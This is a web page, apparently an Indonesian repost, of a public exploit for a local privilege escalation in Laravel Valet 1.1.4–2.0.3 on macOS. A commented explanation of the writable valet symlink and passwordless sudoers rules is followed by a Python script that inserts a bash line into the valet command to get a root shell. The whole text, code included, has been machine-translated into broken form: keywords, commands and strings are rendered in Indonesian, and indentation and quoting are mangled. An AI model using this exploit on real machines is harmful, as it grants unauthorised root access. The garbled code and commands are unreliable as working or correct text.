Laravel Valet 2.0.3 Eskalasi Hak Istimewa

  • Whatsapp
Laravel Valet 2.0.3 Eskalasi Hak Istimewa
Laravel Valet Eskalasi Hak Istimewa

News.nextcloud.asia

# Judul Eksploitasi: Laravel Valet 2.0.3 – Eskalasi Hak Istimewa Lokal (macOS)
# Eksploitasi Penulis: leonjza
# Beranda Vendor: https://laravel.com/docs/8.x/valet
# Versi: v1.1.4 hingga v2.0.3

#!/usr/bin/env python2

# Laravel Valet v1.1.4 – 2.0.3 Eskalasi Privilege Lokal (macOS)
# Februari 2017 – @leonjza

# Versi yang terpengaruh: Setidaknya sejak ~v1.1.4 hingga v2.0.3. Astaga.
# Diperkenalkan kembali di v2.0.7 melalui perintah ‘trust’ lagi.

# Bug ini diperkenalkan ketika file sudoers ditambahkan sekitar
# komit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].

# Secara efektif, ketika perintah valet diinstal, komposer akan melakukan symlink [2]
# perintah `valet` ke /usr/local/bin. ‘Perintah’ ini dapat ditulis oleh pengguna
# yang menginstalnya.
#
# ~ $ls -lah $(pelayan mana)
# lrwxr-xr-x 1 leonjza admin 51B 25 Feb 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet

# Menjalankan `valet install`, akan memulai instalasi [3] rutin. Tindakan pertama
# yang diambil adalah menghentikan nginx (diam-diam?) [4], tetapi menjalankan perintah dengan `sudo` yang
# akan meminta kata sandi sudo kepada pengguna di baris perintah. Dari sini (dan sebenarnya
# dari titik mana pun alat valet menggunakan sudo) perintah dapat menjalankan perintah lebih lanjut
# sebagai root tanpa interaksi lebih lanjut yang dibutuhkan oleh pengguna.
# Dengan akses ‘sudo’ ini, penginstal melakukannya, dan akhirnya menginstal dua yang baru
# aturan sudoers untuk homebrew[5] dan pelayan[6].

# ~ $ cat /etc/sudoers.d/*
# Cmnd_Alias ​​BREW = /usr/local/bin/brew *
# %admin ALL=(root) NOPASSWD: BREW
# Cmnd_Alias ​​VALET = /usr/local/bin/valet *
# %admin ALL=(root) NOPASSWD: VALET

# Masalah dengan aturan sudoers sekarang adalah kenyataan bahwa skrip yang dikendalikan pengguna
# (ingat perintah valet dapat ditulis oleh pengguna saya?) diizinkan untuk dijalankan dengan
# hak akses root. Lebih nyaman, tanpa kata sandi. Jadi, secara sepele privesc
# menggunakan kelemahan ini, cukup edit perintah `valet` dan letakkan `/bin/bash` di sana. 😀

# Atau, gunakan skrip lumpuh ini yang Anda malas sod.
#
# ~ $ sudo -k
# ~ $ python eskalasi.py
# * Shell ditulis. Menjatuhkan ke dalam cangkang akar
# bash-3.2# whoami
# akar
# bash-3.2# keluar
# keluar
# * Membersihkan POC dari perintah valet

# [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40
# [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39
# [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50
# [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133
# [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177
# [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46

impor mereka
subproses impor

MIN_VERSION = “1.1.4”
MAX_VERSION = “2.0.3”
POC = “/ bin / bash; keluar; n”

def run_shit_get_output(shit_to_run):
kembalikan subproses.Popen(shit_to_run, shell=True,
stderr=subproses.PIPE, stdout=subproses.PIPE)

def version_tuple(v):
kembali Tuple(peta(int, (v.split(“.”))))

def get_valet():
p = run_shit_get_output(‘pelayan mana’)
baris=””.join(p.stdout.readlines())

jika ‘bin/valet’ di baris:
kembali baris.strip()

kembali Tidak ada

def get_valet_version(valet_location):
p = run_shit_get_output(lokasi_valet)
v = p.stdout.read(25)

kembali v.split(“n”)[0].membelah(” “)[2]

def can_write_to_valet(valet_location):
kembali os.access(valet_location, os.W_OK)

def cleanup_poc_from_command(command_location):
dengan open(command_location, ‘r’) sebagai vc:
perintah_isi = vc.readlines()

if command_contents[1] == PO:
print(‘* Membersihkan POC dari perintah valet’)
command_contents.pop(1)
dengan open(command_location, ‘w’) sebagai vc:
vc.write(”.join(command_contents))

kembali

print(‘* Tidak dapat membersihkan perintah valet. Periksa secara manual!’)
kembali

def utama():
valet_command = get_valet()

jika bukan valet_command:
print(‘ * Perintah valet tidak dapat ditemukan. Menjamin!’)
kembali

# dapatkan kontennya sehingga kami dapat memeriksa apakah kami sudah menemukannya
dengan open(valet_command, ‘r’) sebagai vc:
perintah_isi = vc.readlines()

# periksa apakah kita belum mengeluarkan benda ini
if command_contents[1] == PO:
print(‘* Sepertinya Anda sudah menemukan ini. Lagi pula, tetap masuk ke shell.’)
os.system(‘sudo’ + valet_command)
cleanup_poc_from_command(valet_command)
kembali

versi_saat ini = get_valet_version(perintah_valet)

# pastikan kami memiliki versi yang valid dan dapat dieksploitasi
jika tidak (version_tuple(current_version) >= version_tuple(MIN_VERSION))
atau tidak (version_tuple(current_version) <= version_tuple(MAX_VERSION)):
print(‘ * Versi Valet {0} tidak memiliki bug ini!’.format(current_version))
kembali

# periksa apakah kita bisa menulis
jika tidak can_write_to_valet(valet_command):
print(‘* Tidak dapat menulis ke perintah valet di {0}. Bailing!’.format(valet_command))
kembali

# jatuhkan baris poc dan tulis yang baru
command_contents.insert(1, POC)
dengan open(valet_command, ‘w’) sebagai vc:
vc.write(”.join(command_contents))

print(‘* Shell ditulis. Menjatuhkan ke shell root’)

# jatuhkan di shell root 😀
os.system(‘sudo’ + valet_command)
cleanup_poc_from_command(valet_command)

jika __name__ == ‘__main__’:
utama()

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.